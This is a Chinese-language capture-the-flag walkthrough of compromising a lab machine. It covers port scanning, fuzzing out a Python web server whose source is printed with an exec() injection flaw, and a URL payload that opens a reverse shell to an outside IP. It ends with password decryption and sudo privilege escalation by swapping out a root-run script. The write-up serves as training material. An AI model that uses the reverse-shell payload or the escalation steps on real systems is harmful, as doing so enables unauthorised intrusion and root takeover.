pony686
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

一、信息收集
1.端口扫描
使用nmap进行端口扫描,发现其开放了22、80、8080、9000端口。
访问其8080端口,发现是一个web界面。
浏览页面内容,提升有一些提示。
提示存在一个py脚本,访问看看。
发现提示是404
2.目录爆破
使用gobuster进行目录爆破。
gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,发现都是404.
3.使用wfuzz进行fuzz
由于我们不知道文件存放在那个具体路径下,所以将使用wfuzzurl 来定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路径。
wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367
发现它在/developer目录之下。
访问看看。成功看到脚本内容。
4.代码分析
将源码copy出来,然后进行分析。
import socket import threading from datetime import datetime import sys import os import mimetypes import urllib.parse import subprocess respTemplate = """HTTP/1.1 {statusNum} {statusCode} Date: {dateSent} Server: {server} Last-Modified: {modified} Content-Length: {length} Content-Type: {contentType} Connection: {connectionType} {body} """ DOC_ROOT = "DocRoot" CODES = {"200": "OK", "304": "NOT MODIFIED", "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", "500": "INTERNAL SERVER ERROR"} MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"} class Response: def __init__(self, **kwargs): self.__dict__.update(kwargs) now = datetime.now() self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S") def stringResponse(self): return respTemplate.format(**self.__dict__) class Request: def __init__(self, request): self.good = True try: request = self.parseRequest(request) self.method = request["method"] self.doc = request["doc"] self.vers = request["vers"] self.header = request["header"] self.body = request["body"] except: self.good = False def parseRequest(self, request): req = request.strip("\r").split("\n") method,doc,vers = req[0].split(" ") header = req[1:-3] body = req[-1] headerDict = {} for param in header: pos = param.find(": ") key, val = param[:pos], param[pos+2:] headerDict.update({key: val}) return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body} class Server: def __init__(self, host, port): self.host = host self.port = port self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((self.host, self.port)) def listen(self): self.sock.listen(5) while True: client, address = self.sock.accept() client.settimeout(60) threading.Thread(target = self.listenToClient,args = (client,address)).start() def listenToClient(self, client, address): size = 1024 while True: try: data = client.recv(size) if data: # Set the response to echo back the received data req = Request(data.decode()) self.handleRequest(req, client, address) client.shutdown() client.close() else: raise error('Client disconnected') except: client.close() return False def handleRequest(self, request, conn, address): if request.good: # try: # print(str(request.method) + " " + str(request.doc), end=' ') # print("from {0}".format(address[0])) # except Exception as e: # print(e) document = self.serveDoc(request.doc, DOC_ROOT) statusNum=document["status"] else: document = self.serveDoc("/errors/400.html", DOC_ROOT) statusNum="400" body = document["body"] statusCode=CODES[statusNum] dateSent = "" server = "BadHTTPServer" modified = "" length = len(body) contentType = document["mime"] # Try and identify MIME type from string connectionType = "Closed" resp = Response( statusNum=statusNum, statusCode=statusCode, dateSent = dateSent, server = server, modified = modified, length = length, contentType = contentType, connectionType = connectionType, body = body ) data = resp.stringResponse() if not data: return -1 conn.send(data.encode()) return 0 def serveDoc(self, path, docRoot): path = urllib.parse.unquote(path) try: info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right? cwd = os.path.dirname(os.path.realpath(__file__)) docRoot = os.path.join(cwd, docRoot) if path == "/": path = "/index.html" requested = os.path.join(docRoot, path[1:]) if os.path.isfile(requested): mime = mimetypes.guess_type(requested) mime = (mime if mime[0] != None else "text/html") mime = MIMES[requested.split(".")[-1]] try: with open(requested, "r") as f: data = f.read() except: with open(requested, "rb") as f: data = f.read() status = "200" else: errorPage = os.path.join(docRoot, "errors", "404.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read().format(path) status = "404" except Exception as e: print(e) errorPage = os.path.join(docRoot, "errors", "500.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read() status = "500" return {"body": data, "mime": mime, "status": status}
在翻译源码过程中,第一眼就看到了注释的地方。就想到了exec函数。
根据 This is how you do string formatting, right?,的意思:不,这不是您进行字符串格式化的方式。path将用户输入 ( )传递给exec总是很危险的。我开始翻阅代码,看看是否可以控制path它何时进入serveDoc.
def handleRequest(self, request, conn, address): if request.good: document = self.serveDoc(request.doc, DOC_ROOT) statusNum=document["status"] else: document = self.serveDoc("/errors/400.html", DOC_ROOT) statusNum="400" body = document["body"]
还有这句注释:Set the response to echo back the received data,然后开始读源码。如果这request.good为真,我会失去控制,path被硬编码为"/errors/400.html".
handleRequest从以下位置调用listenToClient:
def listenToClient(self, client, address): size = 1024 while True: try: data = client.recv(size) if data: # Set the response to echo back the received data req = Request(data.decode()) self.handleRequest(req, client, address) client.shutdown() client.close() else: raise error('Client disconnected') except: client.close() return False
这是一个循环,它接收数据,处理成一个Request对象,然后调用handleRequest ,条件就是该Request对象.good是真,并且.doc是我的测试代码。
该类Request将数据转换为对象__init__:
class Request: def __init__(self, request): self.good = True try: request = self.parseRequest(request) self.method = request["method"] self.doc = request["doc"] self.vers = request["vers"] self.header = request["header"] self.body = request["body"] except: self.good = False def parseRequest(self, request): req = request.strip("\r").split("\n") method,doc,vers = req[0].split(" ") header = req[1:-3] body = req[-1] headerDict = {} for param in header: pos = param.find(": ") key, val = param[:pos], param[pos+2:] headerDict.update({key: val}) return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
只要数据具有带有 url、版本、标题和正文等正常格式,它就会返回self.good = True. 而且,这doc就是 url 字符串中的内容,是可控的。
二、漏洞利用
当exec在该字符串上调用时,它会保存output,但也会进行os.system调用。如果我想使用subprocess而不是运行进程os,我需要这样做。/';os.system('ping%20-c%201%2010.10.10.168');'
1.编写poc
http://10.10.10.168:8080/';importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc开始监听1234端口
2.反弹shell
进入home目录下,发现存在一个SuperSecureCrypt.py脚本,使用-h命令会提示其用法。
还有一些pass.txt,check.txt等。
使用python获得交互式shell,python3 -c 'import pty; pty.spawn("/bin/bash")'
3.获取登录密码
在BetterSSH目录下,存在解密脚本check.txt、out.txt及passwordreminder.txt。
使用脚本来获取登录密码
python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df
成功获取到登录密码。
4.SSH登录
使用ssh进行远程登录。
成功找到了第一个user.txt文件。
三、权限提升
sudo -l 发现了存在BetterSSH.py可执行root.
1.脚本分析
import sys import random, string import os import time import crypt import traceback import subprocess path = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) session = {"user": "", "authenticated": 0} try: session['user'] = input("Enter username: ") passW = input("Enter password: ") with open('/etc/shadow', 'r') as f: data = f.readlines() data = [(p.split(":") if "$" in p else None) for p in data] passwords = [] for x in data: if not x == None: passwords.append(x) passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) with open('/tmp/SSH/'+path, 'w') as f: f.write(passwordFile) time.sleep(.1) salt = "" realPass = "" for p in passwords: if p[0] == session['user']: salt, realPass = p[1].split('$')[2:] break if salt == "": print("Invalid user") os.remove('/tmp/SSH/'+path) sys.exit(0) salt = '$6$'+salt+'$' realPass = salt + realPass hash = crypt.crypt(passW, salt) if hash == realPass: print("Authed!") session['authenticated'] = 1 else: print("Incorrect pass") os.remove('/tmp/SSH/'+path) sys.exit(0) os.remove(os.path.join('/tmp/SSH/',path)) except Exception as e: traceback.print_exc() sys.exit(0) if session['authenticated'] == 1: while True: command = input(session['user'] + "@Obscure$ ") cmd = ['sudo', '-u', session['user']] cmd.extend(command.split(" ")) proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) o,e = proc.communicate() print('Output: ' + o.decode('ascii')) print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
这个脚本:
- 创建一个随机路径名。
- 从用户那里读取用户名和密码。
- 读取/etc/shadow、提取包含 的行$并将其写入/tmp/SSH/[random path].
- 睡眠 0.1 秒。
- 循环修剪文件中的每一行shadow,并根据输入密码的哈希检查每个哈希。成功时,它设置session['authenticated'] = 1. 失败时,它会删除临时shadow文件并退出。
- 删除临时shadow文件。
- 进入读取命令、执行命令并显示结果的无限循环。
2.创建一个/tmp/SSH目录,必须是大写,小写的会报错。
输入之前获取到的用户和密码。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py执行脚本。
出现Authed,然后退出。
2.移动BetterSSH 目录进行权限提升
使用ls -ld robert进行查看其权限,同理也查看一下BetterSSH的。
我的思路就是打算删除这个目录,然后重新创建一个,写入提权的脚本。
使用rm -rf 强制删除,提升权限不够。这里有一个小trips,我们不能删除,我们可以将它进行移动。然后在创建一个新的。使用mv BetterSSH{,-old}来完成操作。
然后mkdir创建新的目录。使用echo写入提权语法。最后使用sudo执行脚本。
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
3.获得root权限
成功获得root权限,并最后找到了root.txt,成功完成靶机。
总结:
靶机难度属于中等靶机水平,全文思路就是信息收集,使用nmap或者masscan进行端口扫描,访问web页面,发现提示,接着使用wfuzz进行指定路径fuzz。然后找到py脚本,接着进行脚本分析,发现脚本存在的漏洞。构造poc然后进行反弹shell,反弹shell之后,发现存在另一个新的脚本,存在密码加密方式和密码本。进行解密,解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限,接着进行移动该目录写入提权语法成功提权。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
